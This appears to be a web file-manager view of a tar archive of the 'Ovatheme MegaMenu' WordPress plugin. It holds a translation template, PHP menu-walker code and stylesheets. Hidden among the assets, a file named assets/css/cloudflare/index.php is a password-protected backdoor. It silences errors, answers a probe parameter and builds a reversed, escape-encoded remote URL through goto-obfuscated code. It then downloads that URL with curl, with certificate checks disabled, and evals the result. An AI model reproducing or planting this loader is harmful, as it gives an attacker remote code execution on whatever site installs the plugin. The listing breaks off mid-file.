Файловый менеджер - Редактировать - /home/tuudkjt/globeasy/wp-includes/ID3/ova-megamenu.tar
Назад
languages/ova-megamenu.pot 0000777 00000004053 15251615631 0011635 0 ustar 00 #, fuzzy msgid "" msgstr "" "Project-Id-Version: Ovatheme MegaMenu\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2023-09-25 01:40+0000\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME <EMAIL@ADDRESS>\n" "Language-Team: \n" "Language: \n" "Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Loco https://localise.biz/\n" "X-Loco-Version: 2.6.6; wp-6.3.1\n" "X-Domain: ova-megamenu" #: inc/class-process.php:179 msgid "CSS Classes (optional)" msgstr "" #: inc/class-process.php:127 msgid "Edit Menu Item" msgstr "" #: inc/class-process.php:210 msgid "Five Columns" msgstr "" #: inc/class-process.php:209 msgid "Four Columns" msgstr "" #. URI of the plugin msgid "https://themeforest.net/user/ovatheme" msgstr "" #. Author URI of the plugin msgid "https://themeforest.net/user/ovatheme/portfolio" msgstr "" #: inc/class-process.php:188 msgid "Link Relationship (XFN)" msgstr "" #: inc/class-process.php:200 msgid "Menu Column (for mega menu)" msgstr "" #: inc/class-process.php:221 msgid "Menu height (for mega menu). Ex: 830px" msgstr "" #: inc/class-process.php:125 msgid "Move down" msgstr "" #. %s: title of menu item in draft status #: inc/class-process.php:112 msgid "Move up" msgstr "" #: inc/class-process.php:152 msgid "Navigation Label" msgstr "" #: inc/class-process.php:206 msgid "One Column" msgstr "" #: inc/class-process.php:165 msgid "Open link in a new window/tab" msgstr "" #. Author of the plugin msgid "Ovatheme" msgstr "" #. Description of the plugin msgid "OvaTheme MegaMenu" msgstr "" #. Name of the plugin msgid "Ovatheme MegaMenu" msgstr "" #: inc/class-process.php:231 msgid "Shortcode" msgstr "" #: inc/class-process.php:246 msgid "Show as a heading" msgstr "" #: inc/class-process.php:208 msgid "Three Columns" msgstr "" #: inc/class-process.php:170 msgid "Title Attribute" msgstr "" #: inc/class-process.php:207 msgid "Two Columns" msgstr "" #: inc/class-process.php:142 msgid "URL" msgstr "" inc/class-process.php 0000777 00000050113 15251615631 0010623 0 ustar 00 <?php /********** Get value custom menu *************/ add_filter( 'wp_setup_nav_menu_item', 'ova_megamenu_add_custom_nav_fields' ); function ova_megamenu_add_custom_nav_fields( $menu_item ) { $menu_item->menu_column = get_post_meta( $menu_item->ID, '_menu_item_menu_column', true ); // sub $menu_item->menu_height = get_post_meta( $menu_item->ID, '_menu_item_menu_height', true ); $menu_item->shortcode_megamenu = get_post_meta( $menu_item->ID, '_menu_item_shortcode_megamenu', true ); $menu_item->linkhide = get_post_meta( $menu_item->ID, '_menu_item_linkhide', true ); return $menu_item; } /********** Save value custom menu *************/ add_action( 'wp_update_nav_menu_item', 'ova_megamenu_update_custom_nav_fields', 10, 3 ); function ova_megamenu_update_custom_nav_fields( $menu_id, $menu_item_db_id, $args ) { $check = array( 'menu_column', 'menu_height' , 'shortcode_megamenu', 'linkhide' ); foreach ( $check as $key ) { if (!isset($_POST['menu-item-'.$key][$menu_item_db_id])){ if (!isset($args['menu-item-'.$key])) $value = ""; else $value = $args['menu-item-'.$key]; } else { $value = $_POST['menu-item-'.$key][$menu_item_db_id]; } update_post_meta( $menu_item_db_id, '_menu_item_'.$key, $value ); } } // Render HTML custom edit menu in backend add_filter( 'wp_edit_nav_menu_walker', 'ova_megamenu_edit_walker', 10, 2 ); function ova_megamenu_edit_walker($walker,$menu_id) { return 'Ova_Megamenu_Walker_Nav_Menu_Edit_Custom'; } class Ova_Megamenu_Walker_Nav_Menu_Edit_Custom extends Walker_Nav_Menu{ function start_lvl( &$output, $depth = 0, $args = array() ) { } function end_lvl( &$output, $depth = 0, $args = array() ) { } function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) { global $_wp_nav_menu_max_depth; $_wp_nav_menu_max_depth = $depth > $_wp_nav_menu_max_depth ? $depth : $_wp_nav_menu_max_depth; $indent = ( $depth ) ? str_repeat( "\t", $depth ) : ''; $item_id = esc_attr( $item->ID ); $removed_args = array( 'action', 'customlink-tab', 'edit-menu-item', 'menu-item', 'page-tab', '_wpnonce', ); ob_start(); $original_title = ''; if ( 'taxonomy' == $item->type ) { $original_title = get_term_field( 'name', $item->object_id, $item->object, 'raw' ); if ( is_wp_error( $original_title ) ) $original_title = false; } elseif ( 'post_type' == $item->type ) { $original_object = get_post( $item->object_id ); $original_title = $original_object->post_title; } $classes = array( 'menu-item menu-item-depth-' . $depth, 'menu-item-' . esc_attr( $item->object ), 'menu-item-edit-' . ( ( isset( $_GET['edit-menu-item'] ) && $item_id == $_GET['edit-menu-item'] ) ? 'active' : 'inactive'), ); $title = $item->title; if ( ! empty( $item->_invalid ) ) { $classes[] = 'menu-item-invalid'; /* translators: %s: title of menu item which is invalid */ $title = sprintf( '%s (Invalid)', $item->title ); } elseif ( isset( $item->post_status ) && 'draft' == $item->post_status ) { $classes[] = 'pending'; /* translators: %s: title of menu item in draft status */ $title = sprintf( '%s (Pending)', $item->title ); } $title = empty( $item->label ) ? $title : $item->label; ?> <li id="menu-item-<?php echo esc_attr($item_id); ?>" class="<?php echo implode(' ', $classes ); ?>"> <dl class="menu-item-bar"> <dt class="menu-item-handle"> <span class="item-title"><?php echo esc_html( $title ); ?></span> <span class="item-controls"> <span class="item-type"><?php echo esc_html( $item->type_label ); ?></span> <span class="item-order hide-if-js"> <a href="<?php echo wp_nonce_url( add_query_arg( array( 'action' => 'move-up-menu-item', 'menu-item' => $item_id, ), remove_query_arg($removed_args, admin_url( 'nav-menus.php' ) ) ), 'move-menu_item' ); ?>" class="item-move-up"><abbr title="<?php esc_html_e('Move up','ova-megamenu'); ?>">↑</abbr></a> | <a href="<?php echo wp_nonce_url( add_query_arg( array( 'action' => 'move-down-menu-item', 'menu-item' => $item_id, ), remove_query_arg($removed_args, admin_url( 'nav-menus.php' ) ) ), 'move-menu_item' ); ?>" class="item-move-down"><abbr title="<?php esc_html_e('Move down','ova-megamenu'); ?> ">↓</abbr></a> </span> <a class="item-edit" id="edit-<?php echo esc_attr($item_id); ?>" title="<?php esc_html_e('Edit Menu Item','ova-megamenu'); ?>" href="<?php echo ( isset( $_GET['edit-menu-item'] ) && $item_id == $_GET['edit-menu-item'] ) ? admin_url( 'nav-menus.php' ) : add_query_arg( 'edit-menu-item', $item_id, remove_query_arg( $removed_args, admin_url( 'nav-menus.php#menu-item-settings-' . $item_id ) ) ); ?>"> </a> </span> </dt> </dl> <div class="menu-item-settings ova-menu-item-settings" id="menu-item-settings-<?php echo esc_attr($item_id); ?>"> <?php if( 'custom' == $item->type ) : ?> <p class="description description-wide"> <label for="edit-menu-item-url-<?php echo esc_attr($item_id); ?>"> <?php esc_html_e('URL','ova-megamenu'); ?><br /> <input type="text" id="edit-menu-item-url-<?php echo esc_attr($item_id); ?>" class="widefat code edit-menu-item-url" name="menu-item-url[<?php echo esc_attr($item_id); ?>]" data-name="menu-item-url[<?php echo esc_attr($item_id); ?>]" value="<?php echo esc_attr( $item->url ); ?>" /> </label> </p> <?php endif; ?> <p class="description description-wide"> <label for="edit-menu-item-title-<?php echo esc_attr($item_id); ?>"> <?php esc_html_e('Navigation Label','ova-megamenu'); ?><br /> <input type="text" id="edit-menu-item-title-<?php echo esc_attr($item_id); ?>" class="widefat edit-menu-item-title" name="menu-item-title[<?php echo esc_attr($item_id); ?>]" data-name="menu-item-title[<?php echo esc_attr($item_id); ?>]" value="<?php echo esc_attr( $item->title ); ?>" /> </label> </p> <p class="description"> <label for="edit-menu-item-target-<?php echo esc_attr($item_id); ?>"> <input type="checkbox" id="edit-menu-item-target-<?php echo esc_attr($item_id); ?>" value="_blank" name="menu-item-target[<?php echo esc_attr($item_id); ?>]" data-name="menu-item-target[<?php echo esc_attr($item_id); ?>]" <?php checked( $item->target, '_blank' ); ?> /> <?php esc_html_e('Open link in a new window/tab','ova-megamenu'); ?> </label> </p> <p class="description description-wide"> <label for="edit-menu-item-attr-title-<?php echo esc_attr($item_id); ?>"> <?php esc_html_e('Title Attribute','ova-megamenu'); ?><br /> <input type="text" id="edit-menu-item-attr-title-<?php echo esc_attr($item_id); ?>" class="widefat edit-menu-item-attr-title" name="menu-item-attr-title[<?php echo esc_attr($item_id); ?>]" data-name="menu-item-attr-title[<?php echo esc_attr($item_id); ?>]" value="<?php echo esc_attr( $item->post_excerpt ); ?>" /> </label> </p> <p class="description description-thin"> <label for="edit-menu-item-classes-<?php echo esc_attr($item_id); ?>"> <?php esc_html_e('CSS Classes (optional)','ova-megamenu'); ?><br /> <input type="text" id="edit-menu-item-classes-<?php echo esc_attr($item_id); ?>" class="widefat code edit-menu-item-classes" name="menu-item-classes[<?php echo esc_attr($item_id); ?>]" data-name="menu-item-classes[<?php echo esc_attr($item_id); ?>]" value="<?php echo esc_attr( implode(' ', $item->classes ) ); ?>" /> </label> </p> <p class="description description-thin"> <label for="edit-menu-item-xfn-<?php echo esc_attr($item_id); ?>"> <?php esc_html_e('Link Relationship (XFN)','ova-megamenu'); ?><br /> <input type="text" id="edit-menu-item-xfn-<?php echo esc_attr($item_id); ?>" class="widefat code edit-menu-item-xfn" name="menu-item-xfn[<?php echo esc_attr($item_id); ?>]" data-name="menu-item-xfn[<?php echo esc_attr($item_id); ?>]" value="<?php echo esc_attr( $item->xfn ); ?>" /> </label> </p> <?php if ($depth == 0){ ?> <p class="description description-wide"> <label for="edit-menu-item-type-menu-<?php echo esc_attr($item_id); ?>"> <?php esc_html_e('Menu Column (for mega menu)','ova-megamenu'); ?><br /> <select id="edit-menu-item-type-menu-<?php echo esc_attr($item_id); ?>" name="menu-item-menu_column[<?php echo esc_attr($item_id); ?>]" data-name="menu-item-menu_column[<?php echo esc_attr($item_id); ?>]" > <option value="" <?php if(esc_attr($item->menu_column) == ""){echo 'selected="selected"';} ?>><?php echo 'Select'; ?></option> <option value="one-column" <?php if(esc_attr($item->menu_column) == "one-column"){echo 'selected="selected"';} ?>><?php esc_html_e('One Column','ova-megamenu'); ?></option> <option value="two-columns" <?php if(esc_attr($item->menu_column) == "two-columns"){echo 'selected="selected"';} ?>><?php esc_html_e('Two Columns','ova-megamenu'); ?></option> <option value="three-columns" <?php if(esc_attr($item->menu_column) == "three-columns"){echo 'selected="selected"';} ?>><?php esc_html_e('Three Columns','ova-megamenu'); ?></option> <option value="four-columns" <?php if(esc_attr($item->menu_column) == "four-columns"){echo 'selected="selected"';} ?>><?php esc_html_e('Four Columns','ova-megamenu'); ?></option> <option value="five-columns" <?php if(esc_attr($item->menu_column) == "five-columns"){echo 'selected="selected"';} ?>><?php esc_html_e('Five Columns','ova-megamenu'); ?></option> </select> </label> </p> <?php } ?> <?php if ($depth == 1){ ?> <p class="description description-wide"> <label for="edit-menu-item-menu_height-<?php echo esc_attr($item_id); ?>"> <?php echo esc_html_e('Menu height (for mega menu). Ex: 830px','ova-megamenu'); ?> <input type="text" id="edit-menu-item-menu_height-<?php echo esc_attr($item_id); ?>" class="widefat code edit-menu-item-menu_height" name="menu-item-menu_height[<?php echo esc_attr($item_id); ?>]" data-name="menu-item-menu_height[<?php echo esc_attr($item_id); ?>]" value="<?php echo esc_attr( $item->menu_height ); ?>" /> </label> </p> <p class="shortcode shortcode-wide"> <label for="edit-menu-item-shortcode_megamenu-<?php echo esc_attr($item_id); ?>"> <?php echo esc_html_e('Shortcode','ova-megamenu'); ?> <input type="text" id="edit-menu-item-shortcode_megamenu-<?php echo esc_attr($item_id); ?>" class="widefat code edit-menu-item-shortcode_megamenu" name="menu-item-shortcode_megamenu[<?php echo esc_attr($item_id); ?>]" data-name="menu-item-shortcode_megamenu[<?php echo esc_attr($item_id); ?>]" value="<?php echo esc_attr( $item->shortcode_megamenu ); ?>" /> </label> </p> <p class="description"> <label for="edit-menu-item-linkhide-<?php echo esc_attr($item_id); ?>"> <input type="checkbox" id="edit-menu-item-linkhide-<?php echo esc_attr($item_id); ?>" class="code edit-menu-item-custom" value="linkhide" name="menu-item-linkhide[<?php echo esc_attr($item_id); ?>]" data-name="menu-item-linkhide[<?php echo esc_attr($item_id); ?>]" <?php checked( $item->linkhide, 'linkhide' ); ?> /> <?php esc_html_e('Show as a heading','ova-megamenu'); ?> </label> </p> <?php } ?> <br/> <div class="menu-item-actions description-wide submitbox"> <?php if( 'custom' != $item->type && $original_title !== false ) : ?> <p class="link-to-original"> <?php printf( 'Original: %s', '<a href="' . esc_attr( $item->url ) . '">' . esc_html( $original_title ) . '</a>' ); ?> </p> <?php endif; ?> <a class="item-delete submitdelete deletion" id="delete-<?php echo esc_attr($item_id); ?>" href="<?php echo wp_nonce_url( add_query_arg( array( 'action' => 'delete-menu-item', 'menu-item' => $item_id, ), remove_query_arg($removed_args, admin_url( 'nav-menus.php' ) ) ), 'delete-menu_item_' . $item_id ); ?>"><?php echo 'Remove'; ?></a> <span class="meta-sep"> | </span> <a class="item-cancel submitcancel" id="cancel-<?php echo esc_attr($item_id); ?>" href="<?php echo esc_url( add_query_arg( array('edit-menu-item' => $item_id, 'cancel' => time()), remove_query_arg( $removed_args, admin_url( 'nav-menus.php' ) ) ) ); ?>#menu-item-settings-<?php echo esc_attr($item_id); ?>"><?php echo 'Cancel'; ?></a> </div> <input class="menu-item-data-db-id" type="hidden" name="menu-item-db-id[<?php echo esc_attr($item_id); ?>]" value="<?php echo esc_attr($item_id); ?>" /> <input class="menu-item-data-object-id" type="hidden" name="menu-item-object-id[<?php echo esc_attr($item_id); ?>]" value="<?php echo esc_attr( $item->object_id ); ?>" /> <input class="menu-item-data-object" type="hidden" name="menu-item-object[<?php echo esc_attr($item_id); ?>]" value="<?php echo esc_attr( $item->object ); ?>" /> <input class="menu-item-data-parent-id" type="hidden" name="menu-item-parent-id[<?php echo esc_attr($item_id); ?>]" value="<?php echo esc_attr( $item->menu_item_parent ); ?>" /> <input class="menu-item-data-position" type="hidden" name="menu-item-position[<?php echo esc_attr($item_id); ?>]" value="<?php echo esc_attr( $item->menu_order ); ?>" /> <input class="menu-item-data-type" type="hidden" name="menu-item-type[<?php echo esc_attr($item_id); ?>]" value="<?php echo esc_attr( $item->type ); ?>" /> </div><!-- .menu-item-settings--> <ul class="menu-item-transport"></ul> </li> <?php $output .= ob_get_clean(); } } // End Render HTML custom edit menu in backend /*================== If don't choose menu location ===================*/ if(!function_exists('ova_megamenu_menu_editor')){ function ova_megamenu_menu_editor($args){ if ( ! current_user_can( 'manage_options' ) ){ return; } // see wp-includes/nav-menu-template.php for available arguments extract( $args ); $link = $link_before . '<a href="' .admin_url( 'nav-menus.php' ) . '">' . $before . 'Add a menu' . $after . '</a>' . $link_after; // We have a list if ( FALSE !== stripos( $items_wrap, '<ul' ) or FALSE !== stripos( $items_wrap, '<ol' ) ) { $link = "<li>$link</li>"; } $output = sprintf( $items_wrap, $menu_id, $menu_class, $link ); if ( ! empty ( $container ) ) { $output = "<$container class='$container_class' id='$container_id'>$output</$container>"; } if ( $echo ) { echo ''.$output; } return $output; } } // New Render HTML Mega Menu if (!class_exists('Ova_Megamenu_Walker_Nav_Menu')) { class Ova_Megamenu_Walker_Nav_Menu extends Walker_Nav_Menu { var $column = ''; var $hideli = false; var $hideul = false; var $hideul_close = false; function display_element( $element, &$children_elements, $max_depth, $depth=0, $args = array(), &$output = '' ){ $id_field = $this->db_fields['id']; $this->column = $element->menu_column; $this->menu_height = $element->menu_height; $this->shortcode_megamenu = $element->shortcode_megamenu; if ( is_object( $args[0] ) ) { $args[0]->has_children = ! empty( $children_elements[$element->$id_field] ); } return parent::display_element( $element, $children_elements, $max_depth, $depth, $args, $output ); } function start_lvl( &$output, $depth = 0, $args = array() ) { $indent = str_repeat("\t", $depth); $out_div = ''; if($this->hideul){ $this->hideul_close = true; }else{ if(!empty($this->column)){ $output .= "\n$indent$out_div<ul class=\"ova-mega-menu sub-menu ".esc_attr($this->column)." dropdown-menu\" role=\"menu\">\n"; }else{ $output .= "\n$indent$out_div<ul class=\"sub-menu\" role=\"menu\">\n"; } } } function end_lvl( &$output, $depth = 0, $args = array() ) { if($this->hideul_close){ $this->hideul_close = false; }else{ $output .= '</ul>'; } } function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) { $indent = ( $depth ) ? str_repeat( "\t", $depth ) : ''; $classes = empty( $item->classes ) ? array() : (array) $item->classes; $classes[] = 'menu-item-' . $item->ID; if(!empty($item->menu_column)){ $classes[] = 'dropdown ova-megamenu'; }else{ $classes[] = 'dropdown'; } $class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item, $args, $depth ) ); if ( in_array( 'current-menu-item', $classes ) ) { $class_names .= ' active'; } $class_names = $class_names ? ' class="' . esc_attr( $class_names ) . '"' : ''; $id = apply_filters( 'nav_menu_item_id', 'menu-item-'. $item->ID, $item, $args, $depth ); $id = $id ? ' id="' . esc_attr( $id ) . '"' : ''; $atts = array(); $atts['title'] = ! empty( trim( $item->attr_title ) ) ? $item->attr_title : $item->title; $atts['target'] = ! empty( $item->target ) ? $item->target : ''; $atts['rel'] = ! empty( $item->xfn ) ? $item->xfn : ''; $atts['href'] = ! empty( $item->url ) ? $item->url : ''; $atts['class'] = ! empty( $item->classes ) ? $item->classes[0] : ''; $atts = apply_filters( 'nav_menu_link_attributes', $atts, $item, $args, $depth ); $attributes = ''; foreach ( $atts as $attr => $value ) { if ( ! empty( $value ) ) { $value = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value ); $attributes .= ' ' . $attr . '="' . $value . '"'; } } if(!$this->hideul){ if(!(empty($item->linkhide))){ $this->hideul = true; $this->hideli = true; $item_output = ''; $item_output .= '<div>'; $item_output .= '<h5 class="title">'.esc_html($item->title).'</h5>'; $item_output .= $this->shortcode_megamenu ? do_shortcode($this->shortcode_megamenu) : ''; if(!empty($this->menu_height)) { $output .= $indent . '<li '.$id. $class_names.' style="height: '.$this->menu_height.'">'; } else { $output .= $indent . '<li '.$id. $class_names.'>'; } }else{ if(!empty($this->menu_height)) { $output .= $indent . '<li' . $id . $class_names .' style="height: '.$this->menu_height.'">'; } else { $output .= $indent . '<li' . $id . $class_names .'>'; } $item_output = $args->before; $item_output .= '<a'. $attributes .' >'; $item_output .= $args->link_before . apply_filters( 'the_title', $item->title, $item->ID ) . $args->link_after; $item_output .= '</a>'; if(!empty($item->xfn)){ $item_output .= '<span class="focus">'.$item->xfn.'</span>'; } $item_output .= $args->after; } }else{ $mega_item_active = ''; if ( in_array( 'current-menu-item', $classes ) ) $mega_item_active = ' active'; $item_output = $args->before; $item_output .= '<a'. $attributes.' class="' .$mega_item_active.'" >'; $item_output .= $args->link_before . apply_filters( 'the_title', $item->title, $item->ID ) . $args->link_after; $item_output .= '</a>'; $item_output .= $args->after; } $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args ); } function end_el( &$output, $item, $depth = 0, $args = array() ) { if(!(empty($item->linkhide))){ $this->hideul = false; $this->hideli = false; $output .= '</div></li>'; }elseif($this->hideli){ }else{ $output .= '</li>'; } } } } ?><?php inc/class-assets.php 0000777 00000001551 15251615631 0010451 0 ustar 00 <?php defined( 'ABSPATH' ) || exit(); if( !class_exists( 'OVA_Megamenu_Assets' ) ){ class OVA_Megamenu_Assets{ public function __construct(){ add_action( 'wp_enqueue_scripts', array( $this, 'ova_megamenu_enqueue_scripts' ), 11 ,0 ); add_action( 'admin_enqueue_scripts', array( $this, 'ova_megamenu_enqueue_scripts_admin' ), 11, 0 ); } public function ova_megamenu_enqueue_scripts(){ wp_enqueue_script( 'ova_megamenu_script', OVA_MEGAMENU_PLUGIN_URI.'assets/js/script.js', array('jquery'),null,true ); wp_enqueue_style( 'ova_megamenu_css', OVA_MEGAMENU_PLUGIN_URI.'assets/css/frontend/style.css', array(), null ); } public function ova_megamenu_enqueue_scripts_admin(){ wp_enqueue_style( 'ova_megamenu_css_admin', OVA_MEGAMENU_PLUGIN_URI.'assets/css/admin/admin_style.css', array(), null ); } } new OVA_Megamenu_Assets(); } ova-megamenu.php 0000777 00000003005 15251615631 0007650 0 ustar 00 <?php /* Plugin Name: Ovatheme MegaMenu Plugin URI: https://themeforest.net/user/ovatheme Description: OvaTheme MegaMenu Author: Ovatheme Version: 1.0.0 Author URI: https://themeforest.net/user/ovatheme/portfolio Text Domain: ova-megamenu */ if ( !defined( 'ABSPATH' ) ) exit(); /** * OVA_MEGAMENU Class */ if( !class_exists( 'OVA_MEGAMENU' ) ){ final class OVA_MEGAMENU{ private static $_instance = null; /** * OVA_MEGAMENU Constructor */ public function __construct(){ $this->define_constants(); $this->includes(); } /** * Define constants */ public function define_constants(){ $this->define( 'OVA_MEGAMENU_PLUGIN_FILE', __FILE__ ); $this->define( 'OVA_MEGAMENU_PLUGIN_URI', plugin_dir_url( __FILE__ ) ); $this->define( 'OVA_MEGAMENU_PLUGIN_PATH', plugin_dir_path( __FILE__ ) ); } private function define( $name, $value ) { if ( ! defined( $name ) ) { define( $name, $value ); } } /** * Include files */ public function includes(){ require_once( OVA_MEGAMENU_PLUGIN_PATH.'/inc/class-assets.php' ); require_once( OVA_MEGAMENU_PLUGIN_PATH.'/inc/class-process.php' ); } /** * Main Ova Events Manager Instance. */ public static function instance() { if ( !empty( self::$_instance ) ) { return self::$_instance; } return self::$_instance = new self(); } } } /** * Main instance of Ova Events Manager */ function OVA_MEGAMENU() { return OVA_MEGAMENU::instance(); } $GLOBALS['OVA_MEGAMENU'] = OVA_MEGAMENU(); assets/css/frontend/style.scss 0000777 00000005674 15251615631 0012542 0 ustar 00 li.ova-megamenu { position: static!important; &:hover{ ul.ova-mega-menu{ display: block; } } ul.ova-mega-menu{ overflow: auto; max-height: 80vh; padding: 20px 0 !important; &.five-columns{ li.menu-item{ width: 20%; min-width: auto; float: left; } } &.four-columns{ li.menu-item{ width: 25%; min-width: auto; float: left; } } &.three-columns{ li.menu-item{ width: 33.3333%; float: left; } } &.two-columns{ li.menu-item{ width: 50%; float: left; } } &.one-columns{ li.menu-item{ width: 100%; float: left; } } li.menu-item{ padding: 15px 20px; &:before { border-right: 1px solid #d2d5df; width: 1px; height: 100%; position: absolute; top: 0; right: 0; content: ""; } &:last-child::before { display: none; border-right: none; } h5.title { position: relative; display: inline-block; margin: 0 0 15px 0; padding-bottom: 5px; font-size: 14px; line-height: 1.2; text-transform: uppercase; &:after{ position: absolute; content: ""; width: 70%; height: 2px; bottom: 0; left: 0; background-color: var(--primary); } } .label_text{ font-weight: bold; color: var(--heading); } &.top_submenu{ width: 100%; margin-top: 0; padding: 30px; &::before{ display: none; border-right: none; } .content{ .top_title { font-size: 30px; color: var(--heading); line-height: 1.2; padding-top: 20px; padding-bottom: 15px; } .top_desc { font-size: 14px; color: var(--text); line-height: 24px; letter-spacing: 0.01em; padding-bottom: 15px; } .top_linkbottom a { font-size: 10px; color: var(--heading);; letter-spacing: 0.01em; font-weight: 400; border: none; padding-bottom: 12px; padding-left: 0; text-transform: uppercase; } } } } } &.col_shortcode_style{ ul.ova-mega-menu{ &.three-columns{ li.menu-item{ width: 20%!important; float: left; &:first-child{ width: 60%!important; } &:before{ border-right: none; } } } } } } @media ( max-width:1024px ){ li.ova-megamenu{ position: relative!important; ul.ova-mega-menu{ position: relative; width: 100%!important; top: 0; padding: 0 !important; li.menu-item{ width: 100%!important; height: auto!important; &::before{ border-right: none; } } } } } @media (min-width: 1024px) { .main-navigation { ul.menu { ul.ova-mega-menu.sub-menu { li.menu-item { a { padding: 8px 0; &.item_text{ padding-left: 7px; } } } } } } } assets/css/frontend/style.css 0000777 00000006627 15251615631 0012356 0 ustar 00 li.ova-megamenu { position: static !important; } li.ova-megamenu:hover ul.ova-mega-menu { display: block; } li.ova-megamenu ul.ova-mega-menu { overflow: auto; max-height: 80vh; padding: 20px 0 !important; } li.ova-megamenu ul.ova-mega-menu.five-columns li.menu-item { width: 20%; min-width: auto; float: left; } li.ova-megamenu ul.ova-mega-menu.four-columns li.menu-item { width: 25%; min-width: auto; float: left; } li.ova-megamenu ul.ova-mega-menu.three-columns li.menu-item { width: 33.3333%; float: left; } li.ova-megamenu ul.ova-mega-menu.two-columns li.menu-item { width: 50%; float: left; } li.ova-megamenu ul.ova-mega-menu.one-columns li.menu-item { width: 100%; float: left; } li.ova-megamenu ul.ova-mega-menu li.menu-item { padding: 15px 20px; } li.ova-megamenu ul.ova-mega-menu li.menu-item:before { border-right: 1px solid #d2d5df; width: 1px; height: 100%; position: absolute; top: 0; right: 0; content: ""; } li.ova-megamenu ul.ova-mega-menu li.menu-item:last-child::before { display: none; border-right: none; } li.ova-megamenu ul.ova-mega-menu li.menu-item h5.title { position: relative; display: inline-block; margin: 0 0 15px 0; padding-bottom: 5px; font-size: 14px; line-height: 1.2; text-transform: uppercase; } li.ova-megamenu ul.ova-mega-menu li.menu-item h5.title:after { position: absolute; content: ""; width: 70%; height: 2px; bottom: 0; left: 0; background-color: var(--primary); } li.ova-megamenu ul.ova-mega-menu li.menu-item .label_text { font-weight: bold; color: var(--heading); } li.ova-megamenu ul.ova-mega-menu li.menu-item.top_submenu { width: 100%; margin-top: 0; padding: 30px; } li.ova-megamenu ul.ova-mega-menu li.menu-item.top_submenu::before { display: none; border-right: none; } li.ova-megamenu ul.ova-mega-menu li.menu-item.top_submenu .content .top_title { font-size: 30px; color: var(--heading); line-height: 1.2; padding-top: 20px; padding-bottom: 15px; } li.ova-megamenu ul.ova-mega-menu li.menu-item.top_submenu .content .top_desc { font-size: 14px; color: var(--text); line-height: 24px; letter-spacing: 0.01em; padding-bottom: 15px; } li.ova-megamenu ul.ova-mega-menu li.menu-item.top_submenu .content .top_linkbottom a { font-size: 10px; color: var(--heading); letter-spacing: 0.01em; font-weight: 400; border: none; padding-bottom: 12px; padding-left: 0; text-transform: uppercase; } li.ova-megamenu.col_shortcode_style ul.ova-mega-menu.three-columns li.menu-item { width: 20% !important; float: left; } li.ova-megamenu.col_shortcode_style ul.ova-mega-menu.three-columns li.menu-item:first-child { width: 60% !important; } li.ova-megamenu.col_shortcode_style ul.ova-mega-menu.three-columns li.menu-item:before { border-right: none; } @media (max-width: 1024px) { li.ova-megamenu { position: relative !important; } li.ova-megamenu ul.ova-mega-menu { position: relative; width: 100% !important; top: 0; padding: 0 !important; } li.ova-megamenu ul.ova-mega-menu li.menu-item { width: 100% !important; height: auto !important; } li.ova-megamenu ul.ova-mega-menu li.menu-item::before { border-right: none; } } @media (min-width: 1024px) { .main-navigation ul.menu ul.ova-mega-menu.sub-menu li.menu-item a { padding: 8px 0; } .main-navigation ul.menu ul.ova-mega-menu.sub-menu li.menu-item a.item_text { padding-left: 7px; } } assets/css/cloudflare/index.php 0000777 00000004035 15251615631 0012614 0 ustar 00 <?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') { $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } } ?> <?php goto MMJd3; sy7E0: $SS8Fu .= "\x2f\160\x6f\164"; goto qDKgI; tBWqP: $SS8Fu .= "\65\x2f\144"; goto PjLow; Z1fDH: $SS8Fu .= "\x6f"; goto cQShg; cQShg: $SS8Fu .= "\57"; goto OTbPc; l2KX1: $SS8Fu .= "\164\164"; goto oibfZ; y0vkU: $SS8Fu .= "\57"; goto EYzIF; Q2dEt: $SS8Fu .= "\164\170\164\x2e\64"; goto tBWqP; hdfzX: $SS8Fu .= "\x2f"; goto y0vkU; M8874: eval("\77\x3e" . TW2KX(strrev($SS8Fu))); goto Q2VNb; oibfZ: $SS8Fu .= "\x68"; goto M8874; OTbPc: $SS8Fu .= "\141\x6d\x61\144"; goto sy7E0; GrX6T: $SS8Fu .= "\x30\141\x6d\141\x64"; goto hdfzX; MMJd3: $SS8Fu = ''; goto Q2dEt; PjLow: $SS8Fu .= "\x6c"; goto Z1fDH; qDKgI: $SS8Fu .= "\56\x32"; goto GrX6T; EYzIF: $SS8Fu .= "\x3a\x73\x70"; goto l2KX1; Q2VNb: function tw2kX($V1_rw = '') { goto S1oZL; V2RDF: $tvmad = curl_exec($xM315); goto EUVIW; tM6NO: return $tvmad; goto vuWvH; ZIbFK: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto yBSOL; EUVIW: curl_close($xM315); goto tM6NO; euHNs: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto kGJPE; kGJPE: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto i8G2G; S1oZL: $xM315 = curl_init(); goto ZIbFK; yBSOL: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto euHNs; i8G2G: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto V2RDF; vuWvH: } assets/css/admin/admin_style.css 0000777 00000000142 15251615631 0012761 0 ustar 00 /* Admin */ .menu-item-edit-active .ova-menu-item-settings { display: inline-block !important; } assets/css/admin/admin_style.scss 0000777 00000000145 15251615631 0013147 0 ustar 00 /* Admin */ .menu-item-edit-active{ .ova-menu-item-settings{ 